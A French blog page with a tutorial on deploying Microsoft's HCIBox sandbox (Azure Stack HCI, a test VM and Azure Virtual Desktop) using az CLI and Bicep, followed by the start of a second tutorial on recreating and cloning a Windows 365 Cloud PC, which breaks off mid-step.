HCIBox est une solution clé en main qui fournit un bac à sable complet pour explorer les capacités d’Azure Stack HCI et l’intégration du cloud hybride dans un environnement virtualisé. HCIBox est conçu pour être complètement autonome au sein d’un seul abonnement Azure et d’un seul groupe de ressources, ce qui permettra à un utilisateur de se familiariser facilement avec Azure Stack HCI et la technologie Azure Arc sans avoir besoin de matériel physique.

Azure Arc Jumpstart

Combien coûte le service HCIBox ?

Les ressources HCIBox entraînent des frais de consommation Azure, qui dépendent des ressources Azure sous-jacentes telles que le calcul central, le stockage, le réseau.

Voici une idée de ce que peut représenter une HCIBox fonctionnant en 24/7 pendant 31 jours et hébergée en Suisse :

Enfin, une FAQ de la HCIBox est disponible juste ici.

Pour vous faire une meilleure idée, je vous propose de réaliser ensemble un petit exercice Azure Virtual Desktop fonctionnant grâce à un Azure Stack HCI construit dans une HCIBox elle-même hébergée sur Azure :

Etape 0 – Rappel des prérequis :

Pour réaliser cet exercice, il vous faudra disposer de :

  • Un tenant Microsoft
  • Une souscription Azure valide

Etape I – Préparation de l’environnement Azure :

Afin de pouvoir déployer les ressources Azure liées à la HCIBox, il est nécessaire d’avoir un quota CPU suffisant pour une famille particulière de machines virtuelles.

Pour cela, ouvrez votre souscription Azure, puis rendez-vous sur le menu suivant afin de vérifier que le quota de la famille ESv5 est au minimum de 32 cœurs :

Note : Si cela n’est pas le cas, le stylo à droite vous permet de créer une demande de modification de quota. Cette demande sera traitée automatiquement ou génèrera un ticket de support chez Microsoft.

Ouvrez ensuite Azure Cloud Shell via le bouton situé dans la barre en haut de votre portail Azure :

Si l’ouverture d’Azure Cloud Shell est une première sur votre environnement Azure, il vous sera demandé de créer un compte de stockage comme le montre l’exemple ci-dessous :

Une fois Azure Cloud Shell ouvert en PowerShell, exécuter la commande suivante afin de recréer le référentiel Azure Arc Jumpstart sur votre compte de stockage :

git clone https://github.com/microsoft/azure_arc.git

Vérifiez la version installée d’Azure CLI avec la commande ci-dessous. Celle-ci doit être supérieure ou égale à la version 2.56.0 :

az --version

Dans le cas où plusieurs souscriptions Azure sont en place sur votre tenant, utilisez la commande suivante afin d’identifier la souscription actuellement sélectionnée :

az account list --query "[?isDefault]"

Utilisez la commande suivante et disponible ici pour changer au besoin la souscription :

az account set

Utilisez la commande suivante afin de vérifier le bon changement de sélection :

az account list --query "[?isDefault]"

Utilisez la commande suivante afin de vérifier que les quotas liés à la région Azure et à la famille de VMs soient suffisants :

az vm list-usage --location westeurope --output table

Créez un principal de service Azure (SP) disposant d’un contrôle d’accès (RBAC) de propriétaire sur la souscription Azure, prenez soin de sauvegarder les 3 valeurs en sortie :

az ad sp create-for-rbac -n "JumpstartHCIBox" --role "Owner" --scopes /subscriptions/$subscriptionId

Vérifiez cette création depuis la page des droits RBAC de votre souscription Azure :

Profitez-en pour Enregistrer le fournisseur de ressources suivant sur votre souscription Azure :

Le statut du fournisseur de ressources change durant cette phase :

Environ 30 secondes plus tard, le statut du fournisseur de ressources change encore une fois :

De retour sur Azure Cloud Shell, mettez à jour la dernière version de Bicep

az bicep upgrade

Récupérez l’identifiant d’objet du fournisseur de ressources Azure Stack HCI de votre tenant :

az ad sp list --display-name "Microsoft.AzureStackHCI Resource Provider"

Votre environnement est maintenant configuré pour commencer le déploiement des ressources Azure de votre HCIBox.

Etape II – Déploiement des ressources Azure :

Pour cela, récupérez le template au format JSON disponible à cette adresse afin de modifier les informations suivantes :

  • spnClientId : Votre identifiant de principal de service Azure
  • spnClientSecret : Votre secret de principal de service Azure
  • spnTenantId : Votre identifiant de tenant Azure
  • spnProviderId : Votre identifiant de fournisseur de ressources Azure Stack HCI
  • WindowsAdminUsername : Nom d’utilisateur de l’administrateur
  • windowsAdminPassword : Mot de passe de l’administrateur
  • logAnalyticsWorkspaceName : Nom unique pour l’espace de travail HCIBox Log Analytics
  • deployBastion : Option pour déployer ou non Azure Bastion

Téléversez le fichier template au format JSON modifié sur Azure :

Déplacez le fichier template dans le dossier Bicep :

mv ./main.parameters.json ./azure_arc/azure_jumpstart_hcibox/bicep/

Positionnez-vous également dans ce même dossier :

cd ./azure_arc/azure_jumpstart_hcibox/bicep/

Lancez la commande suivante afin de créer un groupe de ressources dans la région Azure de votre choix :

az group create --name "jlohci"  --location "westeurope"

Lancez la commande suivante afin de déployer les ressources Azure de votre HCIBox :

az deployment group create -g "jlohci" -f "main.bicep" -p "main.parameters.json"

Suivez le déploiement des ressources Azure depuis le nouveau groupe de ressources créé :

Environ 30 minutes plus tard, les ressources Azure de votre HCIBox sont enfin déployées :

Les ressources Azure servant à votre HCIBox sont maintenant en place :

L’étape suivante va consister à déployer différents serveurs nécessaires à votre Cluster Azure Stack HCI. Pour cela, nous utiliserons un script PowerShell déjà préparé.

Etape III – Déploiement des nœuds connectés via Azure Arc :

Pour lancer ce script, nous devrons ouvrir une session RDP sur la machine virtuelle hôte. Pour cela recherchez la machine virtuelle suivante, puis cliquez sur celle-ci :

Démarrez une session RDP via le service Azure Bastion en utilisant les identifiants renseignés dans le template JSON :

Une fois que vous vous êtes connecté en RDP, le script PowerShell s’ouvre automatiquement :

Ce script prendra au total entre 1 et 2 heures avec 10 différentes étapes.

Téléchargement des fichiers VHDX de l’OS Azure Stack HCI :

Configuration de la virtualisation :

Création de la VM de management sous Hyper-V :

Création des 2 VMs représentants les 2 nœuds Azure Stack HCI :

Démarrage des 3 machines virtuelles :

Configurations réseaux et stockages :

A l’intérieur même de la machine virtuelle de management, déploiement d’une autre VM dédiée au réseau :

Finalisation du déploiement de l’infrastructure Azure Stack HCI dont l’enrôlement de nos 2 serveurs sur Azure via Azure Arc:

Comme indiqué plus haut, le script PowerShell se ferme automatiquement à la fin :

Si le script vous affiche une ou plusieurs erreurs, différents journaux d’évènements sont disponibles dans le dossier suivant :

C:\HCIBox\Logs\

Il existe également une page officielle de Troubleshoot juste ici :

Log fileDescription
C:\HCIBox\Logs\Bootstrap.logOutput from the initial bootstrapping script that runs on HCIBox-Client.
C:\HCIBox\Logs\New-HCIBoxCluster.logOutput of New-HCIBoxCluster.ps1 which configures the Hyper-V host and builds the HCI cluster, management VMs, and other configurations.
C:\HCIBox\Logs\Generate-ARM-Template.logLog output of the script that builds the hci.json and hci.parameters.json file
C:\HCIBox\Logs\HCIBoxLogonScript.logLog output from the orchestrator script that manages the install
C:\HCIBox\Logs\Tools.logLog output from tools installation during bootstrap

Afin de bien vérifier la connexion à Azure, recherchez le service Azure Arc via la barre du portail Azure :

Vérifiez que les deux nœuds HCI sont présents dans Azure Arc :

Vérifiez que les deux nœuds ont correctement installé avec succès les trois extensions suivantes :

  • TelemetryAndDiagnostics
  • AzureEdgeLifecycleManager
  • AzureEdgeDeviceManagement

Vérifiez également sur le second nœud la présence de ces 3 extensions :

Enfin comme le montre l’image ci-dessous, votre Cluster Azure Stack HCI n’est pas encore déployé :

Azure Stack HCI utilise un processus en 2 étapes pour valider et déployer des clusters Azure Stack HCI dans Azure à l’aide d’un modèle ARM.

Etape IV – Déploiement du cluster Azure Stack HCI :

Avant cela, commencez par ajouter à votre compte Entra ID les 2 rôles Entra ID suivants :

  • Administrateur Key Vault
  • Contributeur au compte de stockage

Retournez sur la session RDP ouverte via Azure Bastion, ouvrez l’explorateur de fichiers, faites un clic droit sur le dossier HCIBox, puis ouvrez-le dans VSCode :

Cliquez-ici pour continuer :

Vérifiez que le fichier hci.parameters.json est correct et sans valeurs de paramètre -staging :

Toujours sur la machine virtuelle hôte, ouvrez le portail Azure avec votre identifiant Entra ID, puis rechercher le service suivant :

Sélectionnez Construire votre propre modèle dans l’éditeur :

Collez le contenu du fichier hci.json dans l’éditeur, puis cliquez sur Enregistrer :

Cliquez sur Editer les paramètres :

Collez le contenu de hci.parameters.json dans l’éditeur, puis cliquez sur Enregistrer :

Renseignez votre groupe de ressources, puis lancez la validation Azure :

Une fois la validation Azure réussie, exécutez le template ARM :

Attendez que ce dernier soit terminé :

Environ 15 minutes plus tard, cliquez-ici pour ouvrir à nouveau votre groupe de ressources :

Cliquez sur la nouvelle ressource Azure représentant votre cluster Azure Stack HCI :

Un bandeau vous indique que la validation est réussie mais que le déploiement n’est pas encore effectué. Cliquez-ici pour le lancer :

La mise en place du template ARM vous amène directement sur l’onglet suivant, lancez la validation Azure :

Une fois la validation Azure réussie, lancez le déploiement des ressources, puis attendez :

Suivez l’avancement du déploiement du cluster Azure Stack HCI via le menu suivant :

Environ 2 heures plus tard, cette même page vous indique la fin du déploiement du cluster Azure Stack HCI :

Retournez sur la page principale de votre cluster Azure Stack HCI afin de lancer au besoin les mises à jour disponibles (2402) :

Lancez la mise à jour 2402 comme ceci :

Cliquez sur Suivant :

Cliquez sur Suivant :

Lancez l’installation de la mise à jour :

Suivez l’avancement de la mise à jour de votre cluster via le menu suivant :

Environ 2 heures plus tard, cette même page doit vous indiquer la fin de la mise à jour sur de votre cluster Azure Stack HCI :

Votre cluster Azure Stack HCI est enfin installé et à jour. Nous allons maintenant pouvoir nous intéresser à son contenu, à savoir :

  • les images OS
  • les réseaux logiques

Etape V – Images OS et réseaux logiques d’Azure Stack HCI :

Avant de pouvoir créer des machines virtuelles sur votre cluster HCI à partir du portail Azure, vous devez créer des images de VM qui peuvent être utilisées comme base. Ces images peuvent être importées de la place de marché Azure ou fournies directement par l’utilisateur.

Azure Arc Jumpstart

Cliquez-ici pour importer une image à partir de la Marketplace d’Azure :

Dans mon exemple, j’importe les deux images OS suivantes :

  • Windows 11 Enterprise multisession + Microsoft 365 Apps, version 23H2
  • Windows Server 2022 Datacenter: Azure Edition

La première étape consiste à télécharger sur votre cluster les deux images OS :

Environ 2 heures plus tard, le téléchargement des 2 images est terminé :

Comme nous le rappelle Azure Arc Jumpstart, Le réseau de la HCIBox comprend un sous-réseau 192.168.200.0/24 étiqueté VLAN200 :

Network details
Subnet192.168.200.0/24
Gateway192.168.200.1
VLAN Id200
DNS Server192.168.1.254

Ce réseau est conçu pour être utilisé avec les VMs Arc sur HCIBox. Pour utiliser ce réseau préconfiguré, vous devez créer une ressource réseau logique qui correspond à ce sous-réseau.

Depuis la VM hôte ouverte en RDP, ouvrez le script PowerShell suivant afin de créer le réseau logique sur votre cluster Azure Stack HCI :

Une fois le script correctement exécuté, le réseau logique est visible sur le portail Azure juste ici :

Les information de sous-réseau, de passerelle et de serveur DNS sont bien reprises :

Tous les éléments de configuration sont maintenant en place pour commencer la création de machines virtuelles dans votre cluster Azure Stack HCI.

Avant de déployer un environnement Azure Virtual Desktop, je vous propose de créer une machine virtuelle fonctionnant sous Windows Server 2022.

Etape VI – Déploiement d’une machine virtuelle Windows Server 2022 :

Depuis la page de votre cluster Azure Stack HCI, cliquez-ici pour créer votre première machine virtuelle :

Choisissez un groupe de ressources, donnez un nom à votre VM, puis sélectionnez Standard pour le type de sécurité :

Sélectionnez l’image Windows Server que vous avez téléchargée précédemment, puis définissez sa taille et sa mémoire :

Cochez la case suivant, puis définissez un compte administrateur local :

Joignez la VM au domaine AD créé pour votre Azure Stack HCI, puis cliquez sur Suivant :

Inutile d’ajouter d’autres disques de données, cliquez sur Suivant :

Cliquez-ici pour ajouter une carte réseau :

Nommez la carte réseau, sélectionnez le réseau logique créé précédemment, choisissez la méthode d’allocation sur Automatique, puis cliquez sur Ajouter :

Cliquez sur Suivant :

Ajoutez au besoin des tags, puis cliquez sur Suivant :

Cliquez sur Créer :

Comme pour une ressource Azure classique, vous pouvez suivre toutes les étapes du déploiement :

Environ 20 minutes plus tard, cliquez-ici pour apercevoir les propriétés de votre VM :

Copiez l’adresse IP privée de votre nouvelle VM :

Depuis la session ouverte via Azure Bastion, ouvrez une session Hyper-V sur la machine virtuelle de management :

Utilisez le compte suivant :

Ouvrez une session RDP via l’adresse IP privée de votre nouvelle VM tout en utilisant un compte de domaine :

Constatez la bonne ouverture de session sur votre machine virtuelle Windows Server 2022 :

Le test d’une machine virtuelle individuelle fonctionne bien. Il ne nous reste plus qu’à tester le déploiement d’un environnement Azure Virtual Desktop sur votre cluster Azure Stack HCI.

Etape VII – Déploiement d’Azure Virtual Desktop :

Avant de pouvoir déployer votre environnement Azure Virtual Desktop. Il est conseillé de synchroniser les identités Active Directory avec Entra ID.

Pour cela, ouvrez une session Hyper-V à votre contrôleur de domaine de démonstration :

Utilisez le compte de domaine suivant :

Créez une nouvelle OU, des utilisateurs de test et un groupe dédié à Azure Virtual Desktop :

Téléchargez et installez Microsoft Entra Connect via ce lien direct :

Depuis la page des utilisateurs d’Entra ID, vérifiez la bonne synchronisation de vos utilisateurs et votre groupe AVD :

Retournez sur la page de votre cluster Azure Stack HCI, puis cliquez-ici pour déployer votre environnement Azure Virtual Desktop :

Renseignez les informations de base de votre pool d’hôtes Azure Virtual Desktop, puis cliquez sur Suivant :

Ajoutez un ou des VMs Azure Stack HCI à votre AVD en reprenant l’image Windows 11 Enterprise multisession :

Définissez sa taille, sa mémoire et son réseau logique :

Joignez-la au domaine Active Directory, renseignez le compte d’administrateur local, puis cliquez sur Suivant :

Créez un espace de travail AVD, puis lancez la validation Azure :

Une fois la validation Azure réussie, lancez la création des ressources :

Attendez environ 1 heure :

L’image ci-dessous vous montre l’apparition des VMs AVD :

Seulement, et contrairement au déploiement de la première VM sous Windows Server 2022, le management invité n’est pas automatiquement installée sur les VMs AVD :

Afin d’éviter un échec de votre déploiement AVD, actualiser la page de votre machine virtuelle AVD régulièrement afin d’activer le management invité dès que cela est possible :

Attendez environ 2 minutes le temps de la préparation :

Copiez le script suivant pour sa mise en place :

Récupérez l’adresse IP privée de votre VM AVD :

Depuis la VM de management, ouvrez une session RDP avec le compte administrateur local :

Collez le script sur la VM AVD :

Sur le portail Azure, activez le management invité de votre VM dès que cela est possible :

Suivez l’activation du management invité par le menu suivant :

Rafraichissez la page plusieurs fois si nécessaire :

Environ 30 minutes plus tard, le déploiement de votre AVD doit se terminer :

Consultez votre pool d’hôtes AVD depuis le portail Azure :

Vérifiez également la bonne apparition de vos VMs AVD dans votre Active Directory :

Ajoutez votre groupe Entra ID synchronisé à votre AVD en tant qu’utilisateurs AVD :

Démarrez votre client Remote Desktop, puis ouvrez une session AVD sur un utilisateur de test :

Renseignez à nouveau le mot de passe de votre utilisateur :

Attendez quelques secondes l’ouverture de votre session Azure Virtual Desktop :

Conclusion

Grâce à la HCIBox, nous avons rapidement et facilement pu se rendre compte de l’écosystème hybride proposé par Microsoft pour une de leurs solutions phares : Azure Virtual Desktop.

Important : Attention tout de même à ne pas trop dépenser de crédits pour votre HCIBox. pensez à supprimer ou éteindre vos ressources une fois vos tests terminés :

Ce rappel des coûts de la HCIBox m’amène à une autre question :

Est-il rentable de faire fonctionner Azure Virtual Desktop sur Azure Stack HCI quand d’autres solutions on-premise existent également ?

Les avis de la communauté sont partagés, comme l’article écrit par PureRDS :

Plusieurs coûts sont en effet présents pour un Azure Virtual Desktop hébergé sur Azure Stack HCI.

Coûts licences utilisateurs :

Coûts licences infra :

Enfin voici quelques vidéos pour vous faire votre propre opinion 😎 :

Clonez votre Windows 365

Windows 365 est un service de Cloud PC créé par Microsoft et disponible via un système licence mensuelle fixe. Le service Windows 365 est en évolution constante depuis sa sortie en 2021. Très proche d’Azure Virtual Desktop, Windows 365 se distingue principalement par l’absence de connaissances nécessaires sur Azure. Mais que se passe-t-il quand un utilisateur rencontre des difficultés sur son poste Windows 365 ?

J’ai écrit cet article à la suite d’un souci technique sur un poste Windows 365. Pour des questions de commodités, nous avons pris la décision de cloner ce Cloud PC afin de l’analyser et de le redéployer par la suite.

Avant d’aller plus loin, et si Windows 365 nous vous semble pas familier, voici quelques articles très intéressants et disponibles sur ce blog :

Voici ce que Microsoft en dit en quelques mots :

Windows 365 est un service cloud qui crée automatiquement un nouveau type de machine virtuelle Windows (PC cloud) pour vos utilisateurs finaux. Chaque PC cloud est attribué à un utilisateur et devient ainsi son appareil Windows dédié. Windows 365 offre les avantages de productivité, de sécurité et de collaboration de Microsoft 365.

Microsoft Learn

Saviez-vous que votre Cloud PC est accessible avec un simple smartphone comme ressource local ?

Disons-le franchement, la documentation Microsoft ne m’a pas vraiment aidé 😥. Je vous propose donc ici de suivre un exercice étape par étape concernant le clonage du poste Windows 365 déjà en place, dans le but de l’analyser en dehors de l’environnement de production.

Pour des questions de confidentialité, l’environnement présent ci-dessous sera une copie approchante de l’environnement réel du client concerné.

Etape 0 – Rappel des prérequis :

Pour réaliser cet exercice sur Windows 365, il vous faudra disposer de :

  • Un tenant Microsoft
  • Une souscription Azure valide
  • Une licence Windows 365

Commençons par recréer un environnement Windows 365 fonctionnel

Etape I – Environnement Windows 365 de départ :

Pour cela, commencez par créer un groupe Entra ID dans lequel votre utilisateur de test Windows 365 est présent :

Assignez à cet utilisateur une licence Windows 365 :

Depuis le portail Azure, recherchez le service des réseaux virtuels :

Créez un réseau virtuel Azure, ce dernier sera utilisé pour créer le poste Windows 365 :

Renseignez les champs de base de votre nouveau réseau virtuel, puis lancez la validation Azure :

Une fois la validation Azure réussie, lancez la création de votre réseau virtuel :

Environ 30 secondes plus tard, votre réseau virtuel Azure est créé :

Retournez sur la page dédiée à Windows 365 sur le portail Intune, puis lancez la création d’une connexion vers Azure :

Renseignez les champs relatifs au réseau virtuel Azure créé précédemment, puis cliquez sur Suivant :

Démarrez la validation Intune, puis lancez la création de la connexion Azure :

La création de la connexion vers Azure apparaît alors, et les premiers contrôles de conformité démarrent automatiquement :

Attendez environ 5 minutes que les contrôles sur la connexion Azure soit terminés :

Cliquez-ici pour définir les paramètres utilisateurs :

Choisissez parmi les options suivantes :

Assignez les paramétrages utilisateurs au groupe Entra ID, puis lancez la création :

Afin de créer le premier poste Windows 365, cliquez sur le menu suivant afin d’assigner une police de provisionnement à votre utilisateur de test :

Renseignez les informations de base de la police de provisionnement, puis cliquez sur Suivant :

Choisissez une image déjà présente dans la galerie Microsoft, puis cliquez sur Suivant :

Personnalisez au besoin la configuration, puis cliquez sur Suivant :

Assignez la police de provisionnement à votre groupe Entra ID, puis cliquez sur Suivant :

Lancez la création de votre police de provisionnement Windows 365 :

Vérifiez la bonne apparition de celle-ci :

Puis retournez sur l’onglet suivant afin de constater le provisionnement de votre Cloud PC assigné à votre utilisateur de test :

Environ 15 minutes plus tard, le provisionnement du poste Windows 365 est terminé :

Sur votre poste local, téléchargez l’application Remote Desktop depuis la page officielle Microsoft, installez-là, puis ouvrez une session avec votre utilisateur de test :

Acceptez en cliquant sur Oui :

Ouvrez une session Windows 365 afin de constater le bon fonctionnement du Cloud PC :

Téléchargez le logiciel Google Chrome depuis la page officielle suivante :

Choisissez la version MSI, puis démarrez le téléchargement :

Une fois téléchargé, ouvrez l’exécutable :